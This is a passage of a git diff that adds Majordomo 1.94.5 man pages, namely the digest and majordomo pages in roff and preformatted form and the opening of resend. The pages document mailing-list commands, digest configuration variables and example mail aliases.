firewalls-digest.cf. +A file in this format must be used if digest is invoked in +standalone configuration. +.LP +If no configuration file is specified when digest is invoked, +it looks for a file named +.SB $HOME/.digestrc +that must be in the same format as the example file. +.LP +The configuration file defines the email addresses of the +sender and recipient of the digest. It also locates the +work and archive directories, the digest's size limit, +and the names of the files that contain the digest's volume, +number, header and footer. +.LP +The easiest way to configure a standalone digest is to copy +the five files (firewalls-digest.*) and edit them to taste. +.LP +Incoming mail is piped to digest with the +.B \-r +option. This can be done from some mail-reading programs, through +the command line, or via mail aliases similar to those +found in +.SB EXAMPLES, +below. +.LP +.SH EXAMPLES +.LP +1. Example values from +.B /etc/majordomo.cf: +.LP +.PD 0 +.B $listdir = ``usr/local/mail/lists''; +.LP +.B $digest_work_dir = ``usr/local/mail/digest''; +.LP +.B $filedir = ``listdir''; +.LP +.B $filedir_suffix ``archive''; +.PD +.LP +If our digest's name is banjo-digest, the work directory will +be /usr/local/mail/digest/banjo-digest; the archive directory +will be /usr/local/mail/lists/banjo-digest.archive. Note +that these are names of directories, not files. +.LP +2. Typical aliases for Majordomo digests: +.LP +Usually a Majordomo digest is associated to a regular (non-digest) +list. The digest's name is the regular listname plus ``-digest''. +The list ``banjo'' will have the digest ``banjo-digest''. +.LP +.PD 0 +.B banjo-digest-approval: kevink +.LP +.B banjo-digest-outgoing: :include:/usr/local/lists/banjo-digest +.LP +.B owner-banjo-digest-outgoing: kevink +.LP +.B banjo-digestify: ``|usr/majordomo/wrapper digest \-r +.B \-C \-l banjo-digest banjo-digest-outgoing'' +.LP +.B banjo-digest: banjo +.PD +.LP +Note that mail to ``banjo-digest'' is routed to the regular list. +The ``digestify'' alias must be added to the regular list's outgoing +alias: +.LP +.B banjo-outgoing: :include:/usr/local/lists/banjo,banjo-digestify +.LP +.SH NOTES +The volume number does not change automatically; it must be +incremented manually. +.LP +For testing/debugging purposes there is a ``hidden'' option +.B -d +that creates the digest as /tmp/testdigest.nnn +(where +.I nnn +is the current digest number). Since it is for testing and +debugging purposes, it does not mail the digest, it does not +place the digest in the archive directory, and it does not +update the digest number. +.LP +.SH EXIT STATUS +The following exit values are returned: +.TP 10 +.B 0 +Successful completion. +.TP +.B >0 +An error occurred. +.LP +.SH FILES +.PD 0 +.TP 20 +.B /etc/aliases +.TP +.B /etc/majordomo.cf +.PD +.LP +.SH SEE ALSO +.B majordomo(8) +.LP +.SH AUTHOR +The digest script was written by Brent Chapman . +It is available with distributions of Majordomo via anonymous FTP +from FTP.GreatCircle.COM, in the directory pub/majordomo. This +man page was written by Kevin Kelleher . diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/digest.man b/update/scripts/packages/majordomo-1.94.5/Doc/man/digest.man new file mode 100644 index 0000000..3fa31b4 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/digest.man @@ -0,0 +1,396 @@ + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + NNNNAAAAMMMMEEEE + digest - receive a file for a digest, or create and mail a + digest + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + ddddiiiiggggeeeesssstttt ----rrrr||||RRRR||||mmmm||||pppp ----CCCC ----llll _m_a_j_o_r_d_o_m_o-_l_i_s_t_n_a_m_e _r_e_c_i_p_i_e_n_t + + ddddiiiiggggeeeesssstttt ----rrrr||||RRRR||||mmmm||||pppp [ ----cccc _c_o_n_f_i_g_u_r_a_t_i_o_n-_f_i_l_e ] + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + The digest script is a perl script which automates the + management of digests of electronic mail. It can be run in + a standalone configuration or as part of Majordomo. + + It requires two directories: a work directory and an archive + directory. Incoming email messages are held in the work + directory until they are collected into a digest. The + digests are created and stored in the archive directory. + + Incoming email messages are given numerical names starting + with ``001'' and are numbered in order of arrival. The + digests are named according to volume and number. For + example, the filename ``v01.n028'' indicates volume 1, + number 28 of the digest. + + It should be noted that digest needs a configuration file to + define all of its operating parameters. If no such file is + specified, digest will use the file. + + Several aspects of digest configuration determine how and + when a digest is created. A digest can be created at + regular intervals (as long as there are incoming messages) + or whenever certain configurable conditions are met. These + conditions are: how large the digest can be (in + characters), how long the digest can be (in lines), and how + old the messages in the digest can be (in days). + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + ----rrrr Receive an email message via standard input and + place the file into the working directory. If any + one of the conditions for digest creation are met, + create and mail a digest. These conditions are + the same as those described under option ----pppp.... + + ----RRRR Similar to ----rrrr,,,, except that it will not create a + digest. It simply places the message in the work + directory and stops. + + ----mmmm If there are any numbered files in the working + + + + Page 1 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + directory, create and mail a digest. Store the + digest in the archive directory. This is the + option used by majordomo's mkdigest command. + + ----pppp Conditionally creates a digest. If any one of the + conditions for digest creation are met, the digest + is created and sent. There are three conditions, + which are connected to three limits: the digest + size in characters, the digest length in lines, + and the age of the oldest message in days. If one + of the files is older than the age limit, a digest + is created. If the sum of the messages exceeds + either of the size limits, a digest is created. + The size limit in characters must be configured; + the other two limits are optional. + + ----cccc ccccoooonnnnffffiiiigggguuuurrrraaaattttiiiioooonnnn----ffffiiiilllleeee + Use the parameters defined in _c_o_n_f_i_g_u_r_a_t_i_o_n-_f_i_l_e. + + ----CCCC Read the majordomo configuration file (either + /etc/majordomo.cf or ~majordomo/majordomo.cf) and + the configuration file for the Majordomo list + specified in the ----llll option to define operational + parameters. If both ----CCCC and ----cccc options are + specified (not recommended) only the ----CCCC option + will be used. + + ----llll mmmmaaaajjjjoooorrrrddddoooommmmoooo----lllliiiissssttttnnnnaaaammmmeeee + This option is ignored if used without the ----CCCC + option. Specifies the Majordomo email list. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + rrrreeeecccciiiippppiiiieeeennnntttt Email recipient of the digest. This operand is + ignored if used without the ----CCCC option. It + specifies one of the system mail aliases created + for the Majordomo list named in the ----llll option. + + MMMMAAAAJJJJOOOORRRRDDDDOOOOMMMMOOOO DDDDIIIIGGGGEEEESSSSTTTT CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + When used as a part of Majordomo, digest takes these + parameters from mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff (either /etc/majordomo.cf or + ~majordomo/majordomo.cf): + + $$$$lllliiiissssttttddddiiiirrrr - the location of the mailing lists + $$$$ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr - parent directory for the digests' work + directories + $$$$ffffiiiilllleeeeddddiiiirrrr - parent directory for archive directories + $$$$ffffiiiilllleeeeddddiiiirrrr____ssssuuuuffffffffiiiixxxx - an optional identifier (may be the null + string) + + Incoming messages for $$$$lllliiiissssttttnnnnaaaammmmeeee----ddddiiiiggggeeeesssstttt will be held in + $$$$ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr////$$$$lllliiiissssttttnnnnaaaammmmeeee----ddddiiiiggggeeeesssstttt.... + + + + + Page 2 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + Digests will be stored in $$$$ffffiiiilllleeeeddddiiiirrrr////$$$$lllliiiissssttttnnnnaaaammmmeeee---- + ddddiiiiggggeeeesssstttt$$$$ffffiiiilllleeeeddddiiiirrrr____ssssuuuuffffffffiiiixxxx.... + + The list's configuration file will be $$$$lllliiiissssttttddddiiiirrrr////$$$$lllliiiissssttttnnnnaaaammmmeeee---- + ddddiiiiggggeeeesssstttt....ccccoooonnnnffffiiiigggg.... + + Examples of these values are given in below. + + The list's configuration file contains several digest + parameters that are not yet implemented and/or should NOT be + changed from their defaults (blank): ddddiiiiggggeeeesssstttt____aaaarrrrcccchhhhiiiivvvveeee,,,, + ddddiiiiggggeeeesssstttt____rrrrmmmm____ffffooooooootttteeeerrrr,,,, ddddiiiiggggeeeesssstttt____rrrrmmmm____ffffrrrroooonnnntttteeeerrrr,,,, ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr.... + + The parameters which specifically deal with digest creation + and maintenance are: + + ddddiiiiggggeeeesssstttt____nnnnaaaammmmeeee - the title of the digest + ddddiiiiggggeeeesssstttt____vvvvoooolllluuuummmmeeee - volume number + ddddiiiiggggeeeesssstttt____iiiissssssssuuuueeee - issue number + ddddiiiiggggeeeesssstttt____mmmmaaaaxxxxddddaaaayyyyssss - age limit in days for oldest message in the + digest + ddddiiiiggggeeeesssstttt____mmmmaaaaxxxxlllliiiinnnneeeessss - maximum number of lines in a digest + mmmmaaaaxxxxlllleeeennnnggggtttthhhh - maximum number of characters in a digest + mmmmeeeessssssssaaaaggggeeee____ffffrrrroooonnnntttteeeerrrr - text prepended to the digest + mmmmeeeessssssssaaaaggggeeee____ffffooooooootttteeeerrrr - text appended to the digest + + The last three parameters are also used in the configuration + of an ordinary (non-digest) Majordomo list. + + Each digest begins with the a line containing the + ddddiiiiggggeeeesssstttt____nnnnaaaammmmeeee,,,, ccccuuuurrrrrrrreeeennnntttt ddddaaaatttteeee,,,, ddddiiiiggggeeeesssstttt____vvvvoooolllluuuummmmeeee aaaannnndddd ddddiiiiggggeeeesssstttt____iiiissssssssuuuueeee.... + + A blank line follows, and then the text from the + mmmmeeeessssssssaaaaggggeeee____ffffrrrroooonnnntttteeeerrrr,,,, if any. The message fronter may contain + the token, which will be replaced by the subject lines from + the messages in the digest. + + The text in the mmmmeeeessssssssaaaaggggeeee____ffffooooooootttteeeerrrr,,,, if any, will be appended to + the digest. + + To embed a blank line in the mmmmeeeessssssssaaaaggggeeee____ffffooooooootttteeeerrrr or + mmmmeeeessssssssaaaaggggeeee____ffffrrrroooonnnntttteeeerrrr,,,, put a `-' as the first and ONLY character + on the line. To preserve whitespace at the beginning of a + line, put a `-' on the line before the whitespace to be + preserved. To put a literal `-' at the beginning of a line, + double it. + + Both message_footer and message_fronter may also use the + tokens and which will be expanded to, respectively: the name + of the current list, the sender as taken from the from line, + and the current version of Majordomo. + + + + + Page 3 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + Examples of the aliases usually used with the digest are + given in below. + + The list owner can prompt Majordomo to build a digest by + sending the command + + mkdigest _d_i_g_e_s_t-_n_a_m_e [ _d_i_g_e_s_t-_p_a_s_s_w_o_r_d ] + + to majordomo either via email or from cron. The cron + command has the format: + + echo mkdigest _d_i_g_e_s_t-_n_a_m_e [ _d_i_g_e_s_t-_p_a_s_s_w_o_r_d ] | mail + majordomo@domain.com + + SSSSTTTTAAAANNNNDDDDAAAALLLLOOOONNNNEEEE DDDDIIIIGGGGEEEESSSSTTTT CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + The Majordomo distribution comes with a ``digest'' + subdirectory. The sample configuration file is called + firewalls-digest.cf. A file in this format must be used if + digest is invoked in standalone configuration. + + If no configuration file is specified when digest is + invoked, it looks for a file named that must be in the same + format as the example file. + + The configuration file defines the email addresses of the + sender and recipient of the digest. It also locates the work + and archive directories, the digest's size limit, and the + names of the files that contain the digest's volume, number, + header and footer. + + The easiest way to configure a standalone digest is to copy + the five files (firewalls-digest.*) and edit them to taste. + + Incoming mail is piped to digest with the ----rrrr option. This + can be done from some mail-reading programs, through the + command line, or via mail aliases similar to those found in + below. + + EEEEXXXXAAAAMMMMPPPPLLLLEEEESSSS + 1. Example values from ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff:::: + + $$$$lllliiiissssttttddddiiiirrrr ==== ````````uuuussssrrrr////llllooooccccaaaallll////mmmmaaaaiiiillll////lllliiiissssttttssss'''''''';;;; + $$$$ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr ==== ````````uuuussssrrrr////llllooooccccaaaallll////mmmmaaaaiiiillll////ddddiiiiggggeeeesssstttt'''''''';;;; + $$$$ffffiiiilllleeeeddddiiiirrrr ==== ````````lllliiiissssttttddddiiiirrrr'''''''';;;; + $$$$ffffiiiilllleeeeddddiiiirrrr____ssssuuuuffffffffiiiixxxx ````````aaaarrrrcccchhhhiiiivvvveeee'''''''';;;; + + If our digest's name is banjo-digest, the work directory + will be /usr/local/mail/digest/banjo-digest; the archive + directory will be /usr/local/mail/lists/banjo- + digest.archive. Note that these are names of directories, + not files. + + + + + Page 4 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + 2. Typical aliases for Majordomo digests: + + Usually a Majordomo digest is associated to a regular (non- + digest) list. The digest's name is the regular listname + plus ``-digest''. The list ``banjo'' will have the digest + ``banjo-digest''. + + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----aaaapppppppprrrroooovvvvaaaallll:::: kkkkeeeevvvviiiinnnnkkkk + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----oooouuuuttttggggooooiiiinnnngggg:::: ::::iiiinnnncccclllluuuuddddeeee::::////uuuussssrrrr////llllooooccccaaaallll////lllliiiissssttttssss////bbbbaaaannnnjjjjoooo---- + ddddiiiiggggeeeesssstttt + oooowwwwnnnneeeerrrr----bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----oooouuuuttttggggooooiiiinnnngggg:::: kkkkeeeevvvviiiinnnnkkkk + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeessssttttiiiiffffyyyy:::: ````````||||uuuussssrrrr////mmmmaaaajjjjoooorrrrddddoooommmmoooo////wwwwrrrraaaappppppppeeeerrrr ddddiiiiggggeeeesssstttt ----rrrr ----CCCC ----llll + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----oooouuuuttttggggooooiiiinnnngggg'''''''' + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt:::: bbbbaaaannnnjjjjoooo + + Note that mail to ``banjo-digest'' is routed to the regular + list. The ``digestify'' alias must be added to the regular + list's outgoing alias: + + bbbbaaaannnnjjjjoooo----oooouuuuttttggggooooiiiinnnngggg:::: ::::iiiinnnncccclllluuuuddddeeee::::////uuuussssrrrr////llllooooccccaaaallll////lllliiiissssttttssss////bbbbaaaannnnjjjjoooo,,,,bbbbaaaannnnjjjjoooo---- + ddddiiiiggggeeeessssttttiiiiffffyyyy + + NNNNOOOOTTTTEEEESSSS + The volume number does not change automatically; it must be + incremented manually. + + For testing/debugging purposes there is a ``hidden'' option + ----dddd that creates the digest as /tmp/testdigest.nnn (where _n_n_n + is the current digest number). Since it is for testing and + debugging purposes, it does not mail the digest, it does not + place the digest in the archive directory, and it does not + update the digest number. + + EEEEXXXXIIIITTTT SSSSTTTTAAAATTTTUUUUSSSS + The following exit values are returned: + + 0000 Successful completion. + + >>>>0000 An error occurred. + + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))) + + AAAAUUUUTTTTHHHHOOOORRRR + The digest script was written by Brent Chapman + . It is available with distributions + of Majordomo via anonymous FTP from FTP.GreatCircle.COM, in + the directory pub/majordomo. This man page was written by + + + + Page 5 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + Kevin Kelleher . + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Page 6 (printed 9/23/96) + + + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.8 b/update/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.8 new file mode 100644 index 0000000..e99835a --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.8 @@ -0,0 +1,300 @@ +.TH MAJORDOMO 8 +.SH NAME +Majordomo \- manage multiple mailing lists +.SH SYNOPSIS +.B Majordomo +.SH "DESCRIPTION" +.B Majordomo +is a perl script which automates the management of Internet mailing lists. +It is executed via electronic mail; users send e-mail to +.B Majordomo +with instructions in the body of the message, and the perl script performs +the requested actions and responds with the results. Any text in the +"Subject:" line is ignored. +.SH "COMMANDS" +.B Majordomo +understands the following commands (arguments in "[]" are optional): +.TP 5 +.B +subscribe \fIlist\fR [\fIaddress\fR] +.P +Subscribe yourself (or +.I address +if specified) to the named +.IR list . +.TP 5 +.B +unsubscribe \fIlist\fR [\fIaddress\fR] +.P +Unsubscribe yourself (or +.I address +if specified) from the named +.IR list . +If +.IR list +is ``*'' (an asterisk), unsubscribe from all lists on this Majordomo +server. +.TP 5 +.B +auth \fIspecial-word\fP subscribe \fIlist address\fP +.P +If the +.I list +subscribe policy setting includes \fI+confirm\fR, +Majordomo will ask for confirmation before a subscription +is approved. +The conformation request will show the +.I special-word +to send with +.I auth . +.TP 5 +.B +get \fIlist\fR \fIfile\fR +.P +Get the +.I file +related to +.IR list . +.TP 5 +.B +index \fIlist\fR +.P +Return an index of the files you can +.I get +associated with +.IR list . +.TP 5 +.B +which [\fIaddress\fR] +.P +Find out to which lists you (or +.I address +if specified) are subscribed. +.TP 5 +.B +who \fIlist\fR +.P +Find out who is on the named +.IR list . +.TP 5 +.B +info \fIlist\fR +.P +Retrieve the general introductory information for the named +.IR list . +.TP 5 +.B +intro \fIlist\fR +.P +Retrieve the introductory message sent to new users +of +.IR list . +Non-subscribers may not be able to retrieve this. +.TP 5 +.B +lists +.P +Show the lists served by this Majordomo server. It will also show a 50 +character list description if one has been provided. +.TP 5 +.B +help +.P +Retrieve an informational message, a brief synopsis of the user portion of +this manual page. +.TP 5 +.B +end +.P +Stop processing commands (useful if your mailer adds a signature). +.PP +A command may be split across multiple lines if all of the lines in +the command except the last end with a backslash "\\". +.PP +In addition, the owner of the list can issue the following commands: +.TP 5 +.B +approve \fIpassword\fR subscribe \fIlist\fR \fIaddress\fR +.P +Instruct Majordomo to add +.I address +to +.IR list . +The password is required to authenticate the list owner. This is very weak +authentication as the password is transmitted in the clear in an e-mail +message. No claims are made that it will provide anything other than +rudimentary protection against abuse of the Majordomo server. +.TP 5 +.B +approve \fIpassword\fR unsubscribe \fIlist\fR \fIaddress\fR +.P +Instruct Majordomo to delete +.I address +from +.IR list . +The password is required to authenticate the list owner. See the comments +above regarding the password. +.TP 5 +.B +newinfo \fIlist\fR \fIpassword\fR +.P +Update the informational message for +.I list +with the text which follows on subsequent lines. No formatting of the +message occurs, so the list owner should be careful to constrain the message +to eighty columns. Majordomo will include everything up to the string +.B EOF +or to the end of the mail message, whichever comes first. This is useful in +case the owner wants to verify the new message immediately, e.g., +.sp 1 +.RS 10 +To: majordomo +.sp 0 +newinfo list password +.sp +This is new information for the "list" list. +.sp +EOF +.sp 0 +info list +.sp +.RE +.RS 5 +This will simultaneously update the information for the list, and then +retrieve it for verification. Note that blank lines are preserved in the +message. +.RE +.TP 5 +.B +newintro \fIlist\fR \fIpassword\fR +.P +Similar to +.I newinfo , +but updates the (optional) introductory message sent to new +.I list +subscribers. +.B +passwd \fIlist\fR \fIold-password\fR \fInew-password\fR +.P +Replace the password for +.I list +with +.IR new-password . +.TP 5 +.B +config \fIlist\fR \fIpassword\fR +.P +retrieve a self-documenting configuration file for +the list . The \fIpassword\fR can be the password +contained in the file .passwd or the +admin_password in the configuration file. +.TP 5 +.B +newconfig \fIlist\fR \fIpassword\fR +.P +Validates and installs a new configuration file. The config file +includes everything up to the string +.B EOF +or to the end of the mail message, whichever comes first. The config +file is expected to be a complete config file as returned by the +"config" command. Incremental changing of the config file is not yet +supported. As soon as the config file is validated and installed its +settings are available for use. This is useful to remember if you have +multiple commands in your mail message since they will be subject to +the settings of the new config file. If there is an error in the +config file (incorrect value...), the config file will not be accepted +and the error message identifying the problem line(s) will be returned +to the sender. Note that only the errors are returned to the +sender not the entire config file. +.TP 5 +.B +writeconfig \fIlist\fR \fIpassword\fR +.P +Write a new config in standard form. All of the config +file documentation is optional. Only the keywords and +values are necessary. If a config file, stripped of +all comments is installed using newconfig, that is +what is returned by config. Writeconfig forces a +rewrite of the config file with all comments and +default values in place. It is useful to use after an +upgrade of majordomo since it will add the new +keywords for people to change. It also updates the +documentation in the file if that has changed. +.TP 5 +.B mkdigest +.I digest-list-name +[ +.I outgoing-address +] +.I password +.P +This will force a digest for the specified list to be created. It is +most useful if you don't have an account on the machine that handles +the digest for your list. +The optional +.I outgoing-address +will override the default address, +.IR listname -outgoing , +for distributing the digests; +this is usually done for security. +.SH CONFIGURATION +(Note that this section has not been updated to majordomo version 1.90). +.B Majordomo +supports +.I open +and +.I closed +lists. An +.I open +list is one to which anyone can subscribe themselves. A subscription +request sent to +.B Majordomo +for a +.I closed +list is forwarded to the owner of the list for approval. If a user tries to +subscribe an address which is different from their own (for example, a local +list exploder), +.B Majordomo +will forward the request to the list owner for approval, regardless of the +open or closed status of the list. +.PP +.B Majordomo +depends on the existence of certain system mail aliases. The first three +are for running the perl script on incoming e-mail and specifying the +responsible person in charge of the server: +.sp 1 +majordomo: "|/usr/local/mail/majordomo/wrapper majordomo" +.sp 0 +majordomo-owner: brent +.sp 0 +owner-majordomo: brent +.sp 1 +These next few aliases are for a list called "sample": +.sp 1 +sample: :include:/usr/local/mail/lists/sample +.sp 0 +owner-sample: sample-owner +.sp 0 +sample-request: "|/usr/local/mail/majordomo/wrapper request-answer sample" +.sp 0 +owner-sample-request: sample-owner +.sp 0 +sample-owner: brent +.sp 0 +sample-approval: brent +.sp 1 + +.SH FILES +/etc/majordomo.cf +.sp 0 +/usr/local/lib/mail/majordomo/ + +.SH BUGS +This man page has not been fully updated to conform to majordomo 1.90. + +.SH AUTHORS +Majordomo and most of the ancillary perl code was written by Brent Chapman, +. The latest version of the code is available by +anonymous FTP from FTP.GreatCircle.COM, in directory pub/majordomo. +This man page was written by Jim Duncan, . Minimal +update of the man page by John Rouillard . diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.man b/update/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.man new file mode 100644 index 0000000..41d76fa --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.man @@ -0,0 +1,264 @@ + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + +NAME + Majordomo - manage multiple mailing lists + +SYNOPSIS + Majordomo + +DESCRIPTION + Majordomo is a perl script which automates the management of + Internet mailing lists. It is executed via electronic mail; + users send e-mail to Majordomo with instructions in the body + of the message, and the perl script performs the requested + actions and responds with the results. Any text in the + "Subject:" line is ignored. + +COMMANDS + Majordomo understands the following commands (arguments in + "[]" are optional): + + subscribe _l_i_s_t [_a_d_d_r_e_s_s] + Subscribe yourself (or _a_d_d_r_e_s_s if specified) to the + named _l_i_s_t. + + unsubscribe _l_i_s_t [_a_d_d_r_e_s_s] + Unsubscribe yourself (or _a_d_d_r_e_s_s if specified) from the + named _l_i_s_t. + + get _l_i_s_t _f_i_l_e + Get the _f_i_l_e related to _l_i_s_t. + + index _l_i_s_t + Return an index of the files you can _g_e_t associated + with _l_i_s_t. + + which [_a_d_d_r_e_s_s] + Find out to which lists you (or _a_d_d_r_e_s_s if specified) + are subscribed. + + who _l_i_s_t + Find out who is on the named _l_i_s_t. + + info _l_i_s_t + Retrieve the general introductory information for the + named _l_i_s_t. + + lists + Show the lists served by this Majordomo server. It will + also show a 50 character list description if one has + been provided. + + help Retrieve an informational message, a brief synopsis of + the user portion of this manual page. + + + + +Sun Release 4.1 Last change: 1 + + + + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + + end Stop processing commands (useful if your mailer adds a + signature). + + A command may be split across multiple lines if all of the + lines in the command except the last end with a backslash + "\". + + In addition, the owner of the list can issue the following + commands: + + approve _p_a_s_s_w_o_r_d subscribe _l_i_s_t _a_d_d_r_e_s_s + Instruct Majordomo to add _a_d_d_r_e_s_s to _l_i_s_t. The pass- + word is required to authenticate the list owner. This + is very weak authentication as the password is + transmitted in the clear in an e-mail message. No + claims are made that it will provide anything other + than rudimentary protection against abuse of the Major- + domo server. + + approve _p_a_s_s_w_o_r_d unsubscribe _l_i_s_t _a_d_d_r_e_s_s + Instruct Majordomo to delete _a_d_d_r_e_s_s from _l_i_s_t. The + password is required to authenticate the list owner. + See the comments above regarding the password. + + newinfo _l_i_s_t _p_a_s_s_w_o_r_d + Update the informational message for _l_i_s_t with the text + which follows on subsequent lines. No formatting of + the message occurs, so the list owner should be careful + to constrain the message to eighty columns. Majordomo + will include everything up to the string EOF or to the + end of the mail message, whichever comes first. This + is useful in case the owner wants to verify the new + message immediately, e.g., + + To: majordomo + newinfo list password + + This is new information for the "list" list. + + EOF + info list + + This will simultaneously update the information for the + list, and then retrieve it for verification. Note that + blank lines are preserved in the message. + + passwd _l_i_s_t _o_l_d-_p_a_s_s_w_o_r_d _n_e_w-_p_a_s_s_w_o_r_d + Replace the password for _l_i_s_t with _n_e_w-_p_a_s_s_w_o_r_d. + + config _l_i_s_t _p_a_s_s_w_o_r_d + retrieve a self-documenting configuration file for the + list . The _p_a_s_s_w_o_r_d can be the password + + + +Sun Release 4.1 Last change: 2 + + + + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + + contained in the file .passwd or the + admin_password in the configuration file. + + newconfig _l_i_s_t _p_a_s_s_w_o_r_d + Validates and installs a new configuration file. The + config file includes everything up to the string EOF or + to the end of the mail message, whichever comes first. + The config file is expected to be a complete config + file as returned by the "config" command. Incremental + changing of the config file is not yet supported. As + soon as the config file is validated and installed its + settings are available for use. This is useful to + remember if you have multiple commands in your mail + message since they will be subject to the settings of + the new config file. If there is an error in the con- + fig file (incorrect value...), the config file will not + be accepted and the error message identifying the prob- + lem line(s) will be returned to the sender. Note that + only the errors are returned to the sender not the + entire config file. + + writeconfig _l_i_s_t _p_a_s_s_w_o_r_d + Write a new config in standard form. All of the config + file documentation is optional. Only the keywords and + values are necessary. If a config file, stripped of all + comments is installed using newconfig, that is what is + returned by config. Writeconfig forces a rewrite of + the config file with all comments and default values in + place. It is useful to use after an upgrade of major- + domo since it will add the new keywords for people to + change. It also updates the documentation in the file + if that has changed. + + mkdigest _d_i_g_e_s_t-_l_i_s_t-_n_a_m_e _p_a_s_s_w_o_r_d + This will force a digest for the specified list to be + created. It is most useful if you don't have an account + on the machine that handles the digest for your list. + + +CONFIGURATION + (Note that this section has not been updated to majordomo + version 1.90). Majordomo supports _o_p_e_n and _c_l_o_s_e_d lists. + An _o_p_e_n list is one to which anyone can subscribe them- + selves. A subscription request sent to Majordomo for a + _c_l_o_s_e_d list is forwarded to the owner of the list for appro- + val. If a user tries to subscribe an address which is dif- + ferent from their own (for example, a local list exploder), + Majordomo will forward the request to the list owner for + approval, regardless of the open or closed status of the + list. + + + + + +Sun Release 4.1 Last change: 3 + + + + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + + Majordomo depends on the existence of certain system mail + aliases. The first three are for running the perl script on + incoming e-mail and specifying the responsible person in + charge of the server: + + majordomo: "|/usr/local/mail/majordomo/wrapper majordomo" + majordomo-owner: brent + owner-majordomo: brent + + These next few aliases are for a list called "sample": + + sample: :include:/usr/local/mail/lists/sample + owner-sample: sample-owner + sample-request: "|/usr/local/mail/majordomo/wrapper + request-answer sample" + owner-sample-request: sample-owner + sample-owner: brent + sample-approval: brent + + + +FILES + /etc/majordomo.cf + /usr/local/lib/mail/majordomo/ + + +BUGS + This man page has not been fully updated to conform to + majordomo 1.90. + + +AUTHORS + Majordomo and most of the ancillary perl code was written by + Brent Chapman, . The latest version + of the code is available by anonymous FTP from + FTP.GreatCircle.COM, in directory pub/majordomo. This man + page was written by Jim Duncan, . Minimal + update of the man page by John Rouillard + . + + + + + + + + + + + + + + + + +Sun Release 4.1 Last change: 4 + + + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/resend.1 b/update/scripts/packages/majordomo-1.94.5/Doc/man/resend.1 new file mode 100644 index 0000000..02d42fd --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/resend.1 @@ -0,0 +1,184 @@ +.TH resend 1 +.SH NAME +resend \- resend messages after evaluation +.LP +.SH SYNOPSIS +.B resend +.B [\-A] +.B [\-C config-file] +.B [\-I file-list] +.B [\-M max-msg-length] +.B [\-R] +.B [\-a passwd] +.B [\-d] +.B [\-f from-addr] +.B [\-h host-name] +.B \-l list-name +.B [\-n] +.B [\-p precedence] +.B [\-r reply-to] +.B [\-s] +.B destination +.LP +.SH AVAILABILITY +Provided with distributions of Majordomo. +.LP +.SH DESCRIPTION +.B resend +is a perl script that is usually used to redirect mail messages to +a mailing list after evaluating and parsing the headers. Mail is +"resent" by handing it off to the mailer again with an alternate +destination as specified by the final operand. +.LP +Any message that +.B resend 